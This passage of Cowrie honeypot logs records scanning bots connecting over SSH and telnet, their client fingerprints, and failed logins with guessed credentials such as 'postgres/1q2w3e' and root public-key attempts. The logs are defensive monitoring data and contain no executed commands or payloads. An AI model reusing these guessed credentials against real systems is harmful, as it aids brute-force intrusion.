r"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:23:39.301528Z","src_ip":"173.236.141.65","session":"e29004afa4a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gamefi123","password":"gamefi123","message":"login attempt [gamefi123/gamefi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:23:39.329368Z","src_ip":"173.236.141.65","session":"e29004afa4a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:23:40.341378Z","src_ip":"173.236.141.65","session":"e29004afa4a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":52622,"dst_ip":"159.203.135.109","dst_port":23,"session":"72c6b6dd0ec7","protocol":"telnet","message":"New connection: 170.64.224.25:52622 (159.203.135.109:23) [session: 72c6b6dd0ec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:23:45.088876Z"}
{"eventid":"cowrie.session.closed","duration":29.085601806640625,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:23:45.324661Z","src_ip":"170.64.224.25","session":"68a264fdf840","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":37586,"dst_ip":"10.17.0.5","dst_port":22,"session":"35b21c9ea4ae","protocol":"ssh","message":"New connection: 91.92.40.4:37586 (10.17.0.5:22) [session: 35b21c9ea4ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:24:15.698373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:24:15.701190Z","src_ip":"91.92.40.4","session":"35b21c9ea4ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:24:15.781200Z","src_ip":"91.92.40.4","session":"35b21c9ea4ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.248.202.115","src_port":47170,"dst_ip":"159.203.135.109","dst_port":22,"session":"2663ed2f0558","protocol":"ssh","message":"New connection: 200.248.202.115:47170 (159.203.135.109:22) [session: 2663ed2f0558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:24:16.097254Z"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1q2w3e","message":"login attempt [postgres/1q2w3e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:24:16.247774Z","src_ip":"91.92.40.4","session":"35b21c9ea4ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":33726,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3228e08ed93","protocol":"telnet","message":"New connection: 170.64.224.25:33726 (159.203.135.109:23) [session: b3228e08ed93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:24:17.036883Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:24:17.398043Z","src_ip":"91.92.40.4","session":"35b21c9ea4ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.28245258331299,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:24:19.371226Z","src_ip":"170.64.224.25","session":"72c6b6dd0ec7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:24:19.879775Z","src_ip":"200.248.202.115","session":"2663ed2f0558","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.248.202.115","src_port":50310,"dst_ip":"159.203.135.109","dst_port":22,"session":"baf926af63b0","protocol":"ssh","message":"New connection: 200.248.202.115:50310 (159.203.135.109:22) [session: baf926af63b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:24:20.115475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.7.4","message":"Remote SSH version: SSH-2.0-libssh_0.7.4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:24:21.714106Z","src_ip":"200.248.202.115","session":"baf926af63b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e37f354a101aff5871ba233aa82b84ec","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e37f354a101aff5871ba233aa82b84ec","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:24:22.172289Z","src_ip":"200.248.202.115","session":"baf926af63b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:24:25.319000Z","src_ip":"200.248.202.115","session":"baf926af63b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.48.105.66","src_port":42336,"dst_ip":"10.17.0.5","dst_port":22,"session":"d443d592636f","protocol":"ssh","message":"New connection: 74.48.105.66:42336 (10.17.0.5:22) [session: d443d592636f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:24:29.441730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:24:29.445627Z","src_ip":"74.48.105.66","session":"d443d592636f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":36008,"dst_ip":"159.203.135.109","dst_port":23,"session":"bddc49756e5d","protocol":"telnet","message":"New connection: 170.64.224.25:36008 (159.203.135.109:23) [session: bddc49756e5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:24:29.471795Z"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:24:29.513924Z","src_ip":"74.48.105.66","session":"d443d592636f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"66:34:df:22:f2:d5:a2:e9:c4:b9:89:ca:00:cd:2f:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDe3LBulR7s8ihs2DG7U2tZ6pl6HZn4Pt04iIeJrBv7E7X5LXSru3bzz4OQkUaOztBQ99LB2njF0QYRdIyAZZ158TV1udYKyiwkMZGa1HtXWSZ6HIv3aTFEmZRL6CC41vwyrje9J0+rmT/Ld56pC4JhWWY7cTVtfeAkkh/KM/KewjQfl5ArtSHhDkTYBV3fFksya2MJhVaRhtL9G+B2SpxcSQHxn3zhSPgbDRC0Qx+d1XLwGIki+NCe2+hj14F5f6BzCtrjo18OKC5dXyiojX4i+OkA0hH7HjWHTlW6J/GUGJL8Ii+GMN8bnIrw85OOPfCm4jb7FUnewtcRxQWC10Ub","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 66:34:df:22:f2:d5:a2:e9:c4:b9:89:ca:00:cd:2f:71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:24:29.833233Z","src_ip":"74.48.105.66","session":"d443d592636f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"66:34:df:22:f2:d5:a2:e9:c4:b9:89:ca:00:cd:2f:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDe3LBulR7s8ihs2DG7U2tZ6pl6HZn4Pt04iIeJrBv7E7X5LXSru3bzz4OQkUaOztBQ99LB2njF0QYRdIyAZZ158TV1udYKyiwkMZGa1HtXWSZ6HIv3aTFEmZRL6CC41vwyrje9J0+rmT/Ld56pC4JhWWY7cTVtfeAkkh/KM/KewjQfl5ArtSHhDkTYBV3fFksya2MJhVaRhtL9G+B2SpxcSQHxn3zhSPgbDRC0Qx+d1XLwGIki+NCe2+hj14F5f6BzCtrjo18OKC5dXyiojX4i+OkA0hH7HjWHTlW6J/GUGJL8Ii+GMN8bnIrw85OOPfCm4jb7FUnewtcRxQWC10Ub","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:24:29.836213Z","src_ip":"74.48.105.66","session":"d443d592636f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"24:0d:8b:b8:a6:ca:69:01:92:80:fd:86:4b:86:80:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4DwxRp4IhLu8MF8gk3+46kKC5jdAqouDlcu0WCZKsEbhl4LQyICKlhJC0rWhk4S20eU6EVqlruaehKjNML09OxPALbFcKABLws+nSOS8gsuMdctQYK7vxuQYhEYRj36fzDfHJ4ShM4yC2n+S8ebaU6ncVOqWmaYb1ssxOL2Ii1kVI9XiMkCNtrH/ABly7jJCA1SncsN3aqHgcPWQLY7JD9NWv0pgS9j4dzoZvO96z+GHwwf6T0diuYu/0XlfMBIhfD59u1dqKqRuOpzFyZZ4DrchkYY17cmcjv4q6R/hzPxXuSbbqxFCGgs0JNJHNkRCSNMev8VpR801KHJOCJkAe+D/VsJV/fpr96b1IbpUvZD8iItgpyYjCpgXlOo1Kds5/yos1On89x3PNDdCDWKEwQEBHXvK+ezd9b9GXaxSeLrsFx/SkbQyKdbJS1ABqB645ao42NL6hvd4pZ0d38rAQYuZVnZNB7c4u5zujsaRDaSrjk6IvPTUCjWLZuPcY8BqVh3WFvWtF8ooiXNumpPvJp+ehjT9CZHJ2eAqzzc/hOv3xAlrVF4rvwcajHtYV8WI3kKpFaRZgzff/QsZ+Ie6X3B2MmfcJdB/zRcUtQ+XrxXisfaDV4atzJQZYFxE9AFYSXASWd/7QywGGMBqIoVgjqRkj4vGsMXuBZGyuF2q2bw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 24:0d:8b:b8:a6:ca:69:01:92:80:fd:86:4b:86:80:88","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:24:29.906637Z","src_ip":"74.48.105.66","session":"d443d592636f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"24:0d:8b:b8:a6:ca:69:01:92:80:fd:86:4b:86:80:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4DwxRp4IhLu8MF8gk3+46kKC5jdAqouDlcu0WCZKsEbhl4LQyICKlhJC0rWhk4S20eU6EVqlruaehKjNML09OxPALbFcKABLws+nSOS8gsuMdctQYK7vxuQYhEYRj36fzDfHJ4ShM4yC2n+S8ebaU6ncVOqWmaYb1ssxOL2Ii1kVI9XiMkCNtrH/ABly7jJCA1SncsN3aqHgcPWQLY7JD9NWv0pgS9j4dzoZvO96z+GHwwf6T0diuYu/0XlfMBIhfD59u1dqKqRuOpzFyZZ4DrchkYY17cmcjv4q6R/hzPxXuSbbqxFCGgs0JNJHNkRCSNMev8VpR801KHJOCJkAe+D/VsJV/fpr96b1IbpUvZD8iItgpyYjCpgXlOo1Kds5/yos1On89x3PNDdCDWKEwQEBHXvK+ezd9b9GXaxSeLrsFx/SkbQyKdbJS1ABqB645ao42NL6hvd4pZ0d38rAQYuZVnZNB7c4u5zujsaRDaSrjk6IvPTUCjWLZuPcY8BqVh3WFvWtF8ooiXNumpPvJp+ehjT9CZHJ2eAqzzc/hOv3xAlrVF4rvwcajHtYV8WI3kKpFaRZgzff/QsZ+Ie6X3B2MmfcJdB/zRcUtQ+XrxXisfaDV4atzJQZYFxE9AFYSXASWd/7QywGGMBqIoVgjqRkj4vGsMXuBZGyuF2q2bw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:24:29.909696Z","src_ip":"74.48.105.66","session":"d443d592636f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7e:16:29:1c:9e:9c:2f:49:22:a1:6b:2c:b4:db:c1:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzIqzbpiYvioDaCrLSTU9Uk3JA81BOHjt5c2o9RonF2aHgpI5OncDaIeaHByZy8RPh/vgFX4+Q+SdVdTBxGTfgmy7LalSAg9U3Afru6dxERPsMqnwIAcphAV7PcbeHm9OcqC6tEsPOGczP6I6mc+t6AJvgUruR0g/7tT9lzqPEP/WoJBgxosOCiriYE8JVxLq63JkCUa7FCsTPsiI9HVHcqvogThbjsRkLf4rVr1qrZ+4i3iOfTfVUBLGc7256s6+BHMoL5L0Zktd6Yd8Qzxr4g+GeISSqNbbz3sn5dO98A3NbYjxt4RtBc/spEXAfG4xazX3betLVJCBFe+WiRK0j","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7e:16:29:1c:9e:9c:2f:49:22:a1:6b:2c:b4:db:c1:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:24:29.978008Z","src_ip":"74.48.105.66","session":"d443d592636f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7e:16:29:1c:9e:9c:2f:49:22:a1:6b:2c:b4:db:c1:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzIqzbpiYvioDaCrLSTU9Uk3JA81BOHjt5c2o9RonF2aHgpI5OncDaIeaHByZy8RPh/vgFX4+Q+SdVdTBxGTfgmy7LalSAg9U3Afru6dxERPsMqnwIAcphAV7PcbeHm9OcqC6tEsPOGczP6I6mc+t6AJvgUruR0g/7tT9lzqPEP/WoJBgxosOCiriYE8JVxLq63JkCUa7FCsTPsiI9HVHcqvogThbjsRkLf4rVr1qrZ+4i3iOfTfVUBLGc7256s6+BHMoL5L0Zktd6Yd8Qzxr4g+GeISSqNbbz3sn5dO98A3NbYjxt4RtBc/spEXAfG4xazX3betLVJCBFe+WiRK0j","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:24:29.981424Z","src_ip":"74.48.105.66","session":"d443d592636f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8f:a2:5a:a4:01:11:9c:95:9d:01:25:49:48:1c:74:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvYD7lbuCiblBOPE1svI2flxFh2JHODKZpUrOeSqtmzhMcfyq3823JWYXpQikUCjQNxfuTpftG1zR5WNOOr7GRZVmE8d+xUSALNz99rjvfoRc7/DKJkZFaTkS5JeUdP8556aAY9W4sPRoMdWMazMn4zCpkMRSPzedwxG4VklaD8B+1ndudWHP2JGIIgdsw+LUdc0i8iDCdkzPOH3eEnoHhuOzMfGxAv0tje3Bu5mYVhddOdBlU1wPSNHGeoLIajY1AIMu/6qeze2kP4j/tOtnVaLb++eorCpMB7LoTko/5j9xo2jj08PNwE6N1pFhg4ooOCH0KdjDng+mdHeMgi2lCQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8f:a2:5a:a4:01:11:9c:95:9d:01:25:49:48:1c:74:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:24:30.050240Z","src_ip":"74.48.105.66","session":"d443d592636f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8f:a2:5a:a4:01:11:9c:95:9d:01:25:49:48:1c:74:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvYD7lbuCiblBOPE1svI2flxFh2JHODKZpUrOeSqtmzhMcfyq3823JWYXpQikUCjQNxfuTpftG1zR5WNOOr7GRZVmE8d+xUSALNz99rjvfoRc7/DKJkZFaTkS5JeUdP8556aAY9W4sPRoMdWMazMn4zCpkMRSPzedwxG4VklaD8B+1ndudWHP2JGIIgdsw+LUdc0i8iDCdkzPOH3eEnoHhuOzMfGxAv0tje3Bu5mYVhddOdBlU1wPSNHGeoLIajY1AIMu/6qeze2kP4j/tOtnVaLb++eorCpMB7LoTko/5j9xo2jj08PNwE6N1pFhg4ooOCH0KdjDng+mdHeMgi2lCQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:24:30.053923Z","src_ip":"74.48.105.66","session":"d443d592636f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b0:2c:35:2a:f2:91:d2:7d:b2:c1:5a:3b:88:b6:13:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCitLDQy1blabip0mhQz2eYxkG4saZRuHRbsniLtdQbawowpwOunv/ylzUCWdADN/07fEa6qAdlNe4Pff1mn0uSuiGLB1EhE1tes30d4DlFZlvOBLkZnJ/uZXvqZQ9wypQ8cNBTiXQk0zWQ2mZtZn38WHlGNgqj2pIak3/3aqDeyZiyzL/LdYTy3gaLcC17iJFTzxQJHGwYOtCiV3a4kuaixyJ0i/Qo126WEa6EQQvb79A6mXrNsOjnVGHtPFwVKQ7qUiQjvfrNT3opzMhWXSvxZSZbuF5rkdzoYOW3lrlpa1l1BQQsGDASBs5rYi+CGJjSOMICHb4noUSRqkc4V3nr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b0:2c:35:2a:f2:91:d2:7d:b2:c1:5a:3b:88:b6:13:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:24:30.123119Z","src_ip":"74.48.105.66","session":"d443d592636f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b0:2c:35:2a:f2:91:d2:7d:b2:c1:5a:3b:88:b6:13:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCitLDQy1blabip0mhQz2eYxkG4saZRuHRbsniLtdQbawowpwOunv/ylzUCWdADN/07fEa6qAdlNe4Pff1mn0uSuiGLB1EhE1tes30d4DlFZlvOBLkZnJ/uZXvqZQ9wypQ8cNBTiXQk0zWQ2mZtZn38WHlGNgqj2pIak3/3aqDeyZiyzL/LdYTy3gaLcC17iJFTzxQJHGwYOtCiV3a4kuaixyJ0i/Qo126WEa6EQQvb79A6mXrNsOjnVGHtPFwVKQ7qUiQjvfrNT3opzMhWXSvxZSZbuF5rkdzoYOW3lrlpa1l1BQQsGDASBs5rYi+CGJjSOMICHb4noUSRqkc4V3nr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:24:30.127479Z","src_ip":"74.48.105.66","session":"d443d592636f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:24:30.196023Z","src_ip":"74.48.105.66","session":"d443d592636f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":36016,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8ead0f209ff","protocol":"telnet","message":"New connection: 170.64.224.25:36016 (159.203.135.109:23) [session: b8ead0f209ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:24:32.193569Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":36018,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1605be89ebd","protocol":"telnet","message":"New connection: 170.64.224.25:36018 (159.203.135.109:23) [session: c1605be89ebd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:24:33.539927Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.190.216.105","src_port":36376,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa48567baaad","protocol":"ssh","message":"New connection: 172.190.216.105:36376 (10.17.0.5:22) [session: aa48567baaad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:24:36.569469Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.101.210","src_port":36822,"dst_ip":"10.17.0.5","dst_port":23,"session":"51a48e0ec6ac","protocol":"telnet","message":"New connection: 165.22.101.210:36822 (10.17.0.5:23) [session: 51a48e0ec6ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:24:41.697295Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":33250,"dst_ip":"10.17.0.5","dst_port":22,"session":"678ad0890c7f","protocol":"ssh","message":"New connection: 103.27.238.114:33250 (10.17.0.5:22) [session: 678ad0890c7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:24:51.441630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:24:51.445992Z","src_ip":"103.27.238.114","session":"678ad0890c7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","